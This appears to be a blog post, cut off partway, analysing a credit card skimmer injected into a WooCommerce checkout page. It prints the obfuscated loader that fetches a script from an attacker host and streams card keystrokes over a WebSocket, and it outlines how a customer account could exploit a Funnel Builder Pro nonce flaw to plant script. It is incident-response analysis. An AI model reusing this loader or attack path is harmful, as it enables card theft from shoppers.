Credit card skimmer disguised as Google Tag Manager

logickkk11 pts0 comments

So you get hit with a credit card skimmer, what now?

So you get hit with a credit card skimmer, what now?

May 26, 2026 · Austin Ginder

An email landed in my inbox at 6:29 PM on a Tuesday. My customer had forwarded it from SecurityMetrics, whose Shopping Cart Monitor service had caught a script running on the checkout page of customer-1-fake.com. The subject line was "Urgent: Shopping Cart Monitor Web Skimmer Detected" and the body said it was an active credit card skimmer.

The customer asked one question. Is this real?

It was. SecurityMetrics had hit the checkout page, submitted a test card, watched the form replace itself with a near-identical second form, and captured a WebSocket request flying out to wss://wordpressws.com/ws with an encrypted payload. They even pointed me at line 2709 of the checkout page where the loader script was hiding, masquerading as a Google Tag Manager fragment.

This is the second credit card skimmer I have personally cleaned. These are no joke and I dropped everything to dig in deep. These things are pure evil and can absolutely not happen. So I spent a large portion of my Claude Code budget on it before I was satisfied. I should not admit this to my customers, but I absolutely love investigating malicious activity.

The script was hiding in plain sight at line 2709.

I opened the rendered checkout HTML and scrolled to the cited line. The skimmer was wrapped in a fake Google Tag Manager comment, sitting in the footer where any plugin might inject analytics:

var s = document.createElement('script');<br>s.src = atob('aHR0cHM6Ly9zb2NrZXR3cy5jb20vanF1ZXJ5L2pxdWVyeS5taW4uanM=');<br>document.head.appendChild(s);

The base64 string decodes to https://socketws.com/jquery/jquery.min.js. That file is the skimmer. It opens a WebSocket to wss://wordpressws.com/ws, sends a handshake with the host name, waits a moment, then replaces the live Braintree credit card iframe with a lookalike form it controls. Every keystroke into that form streams back to the attacker over the WebSocket.

Braintree was the only payment method on this store that rendered a card form on the merchant page. That meant Braintree was the only payment method in the blast radius. Stripe and PayPal customers were safe. Anyone who paid with a card during the window was not.

The injection lived in a WordPress option, not a file.

The first thing I did was grep the codebase for the payload domain. Nothing. No files contained the skimmer. The script tag was being printed live from somewhere else.

I followed the rendered HTML upward and found the source. It was a single WordPress option:

SELECT option_value FROM wp_options<br>WHERE option_name = '_wfacp_global_settings';

Inside that serialized array was a key called wfacp_global_external_script. That key was being echoed unescaped in the checkout footer by Funnel Builder, the plugin that powers the checkout flow. The feature exists for legitimate reasons. Store owners use it to inject pixels, A/B test scripts, or third-party tag managers. But the field accepts raw HTML, no filtering, no sanitization.

Whoever could write to that option owned the checkout page.

Claude Code Session<br>Austin<br>The skimmer is loading from _wfacp_global_settings.wfacp_global_external_script. Who is allowed to write that option?

Claude<br>In the plugin, writes route through WFACP_AJAX_Controller::check_nonce() with $admin = true. The intent is admin-only. The implementation does not match the intent. Pulling the file now.

The gate said "admin only" and let everyone in.

The handler that writes the option lives in Funnel Builder Pro. The author wrote a shared nonce-check function and passed a flag to mean "this endpoint is admin only." The flag worked exactly backwards.

Here is the inverted logic, simplified:

public function check_nonce( $admin = false ) {<br>if ( $admin ) {<br>// Intended: require admin nonce AND admin capability.<br>// Actual: accept ANY valid nonce, including a customer nonce.<br>if ( wp_verify_nonce( $_REQUEST['security'], 'wfacp-admin' )<br>|| wp_verify_nonce( $_REQUEST['security'], 'wfacp-frontend' ) ) {<br>return true;<br>return wp_verify_nonce( $_REQUEST['security'], 'wfacp-frontend' );

The intent was clear. The author wanted $admin = true to be the strict path and $admin = false to be the lenient path. Instead, both branches accepted the frontend (customer) nonce. A logged-in customer with nothing more than a free account could trigger any of the 19+ admin AJAX handlers that called this function. One of those handlers writes the global settings array. That array contains wfacp_global_external_script.

All it took was a customer login.<br>Register an account. Get a customer nonce. Call the admin AJAX handler. Plant arbitrary JavaScript on every checkout page. No admin password. No file upload. No theme edit. One POST request from any logged-in shopper.

This was a previously unknown bug. I checked the public CVE databases. Patchstack had no record of it. Wordfence had no record of it. The...

admin skimmer card customer checkout credit

Related Articles